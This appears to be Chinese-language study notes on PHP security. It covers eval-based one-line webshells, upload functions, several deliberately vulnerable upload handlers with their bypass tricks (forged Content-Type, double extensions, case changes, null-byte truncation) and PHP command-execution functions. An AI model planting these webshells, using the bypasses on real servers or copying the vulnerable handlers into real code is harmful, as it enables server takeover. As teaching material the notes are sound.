PHP 函数
##把字符串当作 PHP 代码执行 // eval()
这种写法会暴露系统信息
<?php eval($_GET['code']); phpinfo(); system("ls -l");php代码中用于执行系统命令的 //执行的是php中的函数 ?>**Webshell 常见写法:**
/;/一句话木马
<?php eval($_POST['cmd']); ?>1.核心上传函数
| 函数 | 作用 | 示例 |
|---|---|---|
move_uploaded_file() | 将上传的临时文件移动到新位置 | move_uploaded_file($tmp, $dest) |
is_uploaded_file() | 判断文件是否通过 HTTP POST 上传 | is_uploaded_file($tmp) |
copy() | 复制文件 | copy($src, $dest) |
file_put_contents() | 写入文件 | file_put_contents($file, $content) |
2.判断上传错误的常量
| 常量 | 值 | 含义 |
|---|---|---|
UPLOAD_ERR_OK | 0 | 上传成功 |
UPLOAD_ERR_INI_SIZE | 1 | 超出 php.ini 的upload_max_filesize |
UPLOAD_ERR_FORM_SIZE | 2 | 超出表单MAX_FILE_SIZE |
UPLOAD_ERR_PARTIAL | 3 | 文件只有部分被上传 |
UPLOAD_ERR_NO_FILE | 4 | 没有文件被上传 |
UPLOAD_ERR_NO_TMP_DIR | 6 | 找不到临时文件夹 |
3.文件上传
3.1无任何校验(高危)
<?php $target = "uploads/" . $_FILES["file"]["name"]; move_uploaded_file($_FILES["file"]["tmp_name"], $target); ?>漏洞: 直接上传 webshell,无任何限制
3.2只校验 Content-Type(前端校验可绕过)
<?php $type = $_FILES["file"]["type"]; if ($type == "image/jpeg" || $type == "image/png") { move_uploaded_file($_FILES["file"]["tmp_name"], $target); } ?>漏洞:Content-Type由客户端控制,抓包改Content-Type: image/jpeg即可绕过
3.3只校验后缀名(黑名单)
<?php $block = array("php", "php3", "php5", "phtml", "pht"); $ext = pathinfo($filename, PATHINFO_EXTENSION); if (!in_array($ext, $block)) { move_uploaded_file(...); } ?>漏洞: 可上传xxx.php.jpg、xxx.phtml、xxx.PhP(大小写)、xxx.php%00.jpg(00截断)
3.4只校验文件扩展名(白名单)
<?php $allow = array("jpg", "png", "gif"); $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); if (in_array($ext, $allow)) { move_uploaded_file(...); } ?>漏洞: 依赖服务器解析漏洞(apache 的x.php.jpg解析为 PHP)或内容中包含代码
4.直接执行系统命令
| 函数 | 说明 | 返回 |
|---|---|---|
system() | 执行命令并输出结果 | 最后一行 |
exec() | 执行命令,不输出 | 最后一行 |
shell_exec() | 执行命令,返回完整输出 | 整个输出 |
passthru() | 执行命令,直接输出原始结果 | 无 |
popen() | 打开进程管道 | 文件指针 |
proc_open() | 更底层的进程控制 | 资源 |